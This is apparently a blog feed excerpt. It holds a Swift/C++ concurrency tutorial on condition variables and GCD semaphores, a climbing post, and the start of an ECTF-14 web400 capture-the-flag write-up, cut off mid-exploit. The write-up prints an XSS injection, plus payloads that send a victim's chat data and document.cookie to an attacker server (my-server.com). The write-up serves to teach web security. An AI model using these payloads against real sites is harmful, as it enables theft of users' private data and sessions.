        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;producerLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notify_one&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" Producer sleeping"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;StartProcess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;consumerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;producerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        
        &lt;span class="n"&gt;consumerThread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;producerThread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;0x100ced000 Consumer sleeping
0x100d73000 Producer working
0x100d73000 Producer sleeping
0x100ced000 Consumer working
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the above code both the consumer and producer execute simultaneously
in concurrent threads. The consumer waits for the producer to finish
working on whatever it was doing. But instead of continuously checking
for whether the producer is done as in&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;unique_lock&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;consumerLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;consumerLock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We make use of condition variable to inform us whenever the producer is
done. The producer then using notify_one() (or maybe notify_all())
sends a notification to all the waiting threads to continue.&lt;/p&gt;

&lt;p&gt;Moving to GCD, we’ve two ways. First is to use dispatch_group.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;concurrentQueue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_get_global_queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DISPATCH_QUEUE_PRIORITY_DEFAULT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;group&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_group_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_group_create&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Consumer sleeping"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_group_wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;DISPATCH_TIME_FOREVER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Consumer working"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_group_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;concurrentQueue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Producer working"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Producer sleeping"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartProcess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Producer working
Consumer sleeping
Producer sleeping
Consumer working
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first thing that you’ll notice in this code is that we start the
producer code first and then the consumer waits. This is because if we
start the consumer first, the queue has nothing in it to wait for.&lt;/p&gt;

&lt;p&gt;dispatch_group is actually meant to synchronize a set a tasks in a
queue. For example, you’re loading the next level in your game. For
that, you need to download a lot of images and other data files from a
remote server before finishing the loading. What you’re doing is
synchronizing a lot of async tasks and wait for them to finish before
doing something else.&lt;/p&gt;

&lt;p&gt;For this experiment, we can better use a dispatch_semaphore.
dispatch_semaphore is a functionality based on the &lt;a href=""&gt;classic semaphores
concepts&lt;/a&gt; you must’ve learned during your college days.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;sema&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_semaphore_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_semaphore_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Consumer sleeping"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_semaphore_wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sema&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;DISPATCH_TIME_FOREVER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Consumer working"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Producer working"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Producer sleeping"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;dispatch_semaphore_signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sema&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartProcess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you look closely, we haven’t even used any dispatch_queue here. This
is because dispatch_semaphore is more about synchronization than about
threading.&lt;/p&gt;

&lt;p&gt;dispatch_semaphore is basically just a count based blocking system. We
just create a dispatch_semaphore object by telling it how many counts
can be decremented before it blocks. Then on each wait it decrements the
count and on each signal it increments the count. If the count reaches
less than 0, the thread is blocked until somebody issues a signal.&lt;/p&gt;

&lt;p&gt;Here’s another example to illustrate on using semaphores between two
queues&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;sema&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_semaphore_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_semaphore_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;concurrentQueue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_get_global_queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DISPATCH_QUEUE_PRIORITY_DEFAULT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Consumer sleeping"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_semaphore_wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sema&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;DISPATCH_TIME_FOREVER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Consumer working"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;concurrentQueue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Producer working"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Producer sleeping"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;dispatch_semaphore_signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sema&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;StartProcess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Again note that we’re starting producer first, and because we initialize
the dispatch_semaphore with 0, the consumer is going to block the main
thread as soon as it is invoked. It won’t even give the chance to run
the producer code in parallel.&lt;/p&gt;

&lt;p&gt;Here’s the output of above code:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Producer working
Consumer sleeping
Producer sleeping
Consumer working
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is just an scratch of the surface of inter-thread communication.
Most of problems with concurrency actually somehow deal with
inter-thread communication. In later sessions we shall experiment more
on this. The idea for this article came from the &lt;a href="http://www.reddit.com/r/gamedev/comments/2ivsp6/async_loading_and_syncing_threads_with_your/"&gt;this
discussion&lt;/a&gt;
on problem of loading game data in a parallel thread and &lt;a href="https://gist.github.com/chunkyguy/e4f52c0a75f5ae4c7088"&gt;the
solution&lt;/a&gt; I
worked on.&lt;/p&gt;

&lt;p&gt;The code for today’s experiment is available at
&lt;a href="https://github.com/chunkyguy/ConcurrencyExperiments/tree/master/104_InterThreadCommunication"&gt;github.com/chunkyguy/ConcurrencyExperiments&lt;/a&gt;.
Check it out and have fun experimenting on your own.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Mon, 20 Oct 2014 07:53:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/10/20/concurrency-introducing-inter-thread-communication/</guid></item><item><title>Can You Recover From Months (YEARS!) of Not Climbing?</title><link>https://josh.works/climbing/2014/10/20/can-you-recover-from-months-years-of-not-climbing/</link><description>&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5fe4b0278244cea1e3_1434910448785_2014-10-11-09-44-17.jpg_" /&gt;&lt;/p&gt;

&lt;p&gt;A few weeks ago, I headed into the gym thinking that I felt a little off-kilter. I’d not climbed in a week, I though, and maybe I was getting weaker or something. Turns out that wasn’t the problem - I had actually been climbing too much, and was feeling it.
This is an odd mistake, because I’ve recently had the opportunity to end a 
twenty month hiatus from climbing, and I’ve felt nothing but good as I ease back into the sport.&lt;/p&gt;

&lt;p&gt;I had felt strong when I stopped climbing in 2012, and I felt comparatively weak when I got back into a regular routine two months ago. For perspective, my max onsight dropped a full number grade, and my bouldering fell four grades. As you would expect, my “endurance” was more wishful thinking than anything else. This was all a 
substantial decrease in ability. That’s the bad news, and it’s just as bad for you, whenever you take a break.
more&lt;/p&gt;

&lt;p&gt;Here’s the good news - everything else I had learned while climbing I could still use (though it needed a little brushing up.) I had the footwork I had when I had climbed much stronger. I still remembered how to use dynamic movement, and pace myself while climbing. You still have these things too.&lt;/p&gt;

&lt;p&gt;Here’s the best news - your body “remembers” what it could once do. As long as you still weigh what you once did, you should be able to re-train yourself to that level of fitness fairly quickly.&lt;/p&gt;

&lt;p&gt;So, if you’re getting back on the horse from a long break - please don’t feel discouraged. Get after it. Be excited to be climbing again, rather than disappointed you are not climbing what you used to. You’ll be there soon enough.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 20 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2014/10/20/can-you-recover-from-months-years-of-not-climbing/</guid></item><item><title>ECTF-14 Web400 Writeup</title><link>https://captnemo.in/blog/2014/10/20/ectf-web400-writeup/</link><description>&lt;p&gt;We recently participated in &lt;a href="https://github.com/ctfs/write-ups-2014/tree/master/ectf-2014"&gt;ECTF-14&lt;/a&gt; and it was a great experience. Here’s a writeup to the web400 challenge:&lt;/p&gt;

&lt;h3 id="problem-statement"&gt;Problem Statement&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;The chat feature was added to Facelook website and to test it, founder of the company had sent a message in chat to the admin. Admin reads all the chat messages, but does not reply to anyone. Try to get that chat message and earn the bounty.
[Annoying Admin]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The challenge consisted of a simple signup and a chat message sending feature, where anyone could send a chat message to anyone. However, on the loading side, the chat message was loaded using Javascript. The code for loading the messages looked like this:&lt;/p&gt;

&lt;div class="language-javascript highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;load_messages&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ajax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://212.71.235.214:4050/chat&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The url above responded as the following:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$('#chat_234').html('');$('#chat_234').append('dream&amp;lt;br /&amp;gt;');
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Where &lt;code class="language-plaintext highlighter-rouge"&gt;dream&lt;/code&gt; was the message I sent. My first attempt was to break out of the append function, and execute my own javascript, by trivially using a single quote. Unfortunately, the single quote was escaped and removed by the backend.&lt;/p&gt;

&lt;p&gt;Next, I tried using &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;amp;#x27;&lt;/code&gt; instead of a single quote, and it worked:&lt;/p&gt;

&lt;p&gt;Message Sent: &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;amp;#x27;+alert(1)+&amp;amp;#x27; &lt;/code&gt;
Message received: &lt;code class="language-plaintext highlighter-rouge"&gt;$('#chat_234').html('');$('#chat_234').append('dream&amp;lt;br /&amp;gt;');$('#chat_234').append(''+alert(1)+'&amp;lt;br /&amp;gt;');&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This seemed simple enough to exploit as XSS, so I quickly wrote up my exploit:&lt;/p&gt;

&lt;p&gt;$.get(‘/chat?sender=2’, function(data){
  $.post(“http://my-server.com/ectf/index.php”, {content: data});
});&lt;/p&gt;

&lt;p&gt;This utilized the fact that we knew Founder’s user id to be &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt;. The code worked perfectly fine with my test accounts, but something weird happened when the challenge server (admin) ran it. I would get a &lt;code class="language-plaintext highlighter-rouge"&gt;GET&lt;/code&gt; request on the above mentioned url, instead of a POST. Also attempting to generate the URL using concat or + or any operator such as : &lt;code class="language-plaintext highlighter-rouge"&gt;"http://my-server.com/index.php?data="+document.cookie&lt;/code&gt; made a request to &lt;code class="language-plaintext highlighter-rouge"&gt;http://my-server.com/index.php?data=&lt;/code&gt;. Anything I appended was just ignored, plain and simple.&lt;/p&gt;

&lt;p&gt;After attempting to get a POST request with cookie or session data for a lot of time, I realized that the problem was not XSS, but rather a CSRF attack. This was because the data was being loaded in a Javascript request, instead of JSON. Javascript request (using a script tag) can be made across domains, which meant that any website could access the data by using the proper script tag. We just had to add a script tag with its src set to &lt;code class="language-plaintext highlighter-rouge"&gt;http://212.71.235.214:4050/chat?sender=2&lt;/code&gt;. This would automatically add the chat message to a div with id &lt;code class="language-plaintext highlighter-rouge"&gt;chat_2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The only issue was that Admin had to visit our site, with proper cookies, and we know already that admin has been sniffing for links and visiting them. So I wrote up my second (this time working) exploit:&lt;/p&gt;

&lt;div class="language-xml highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
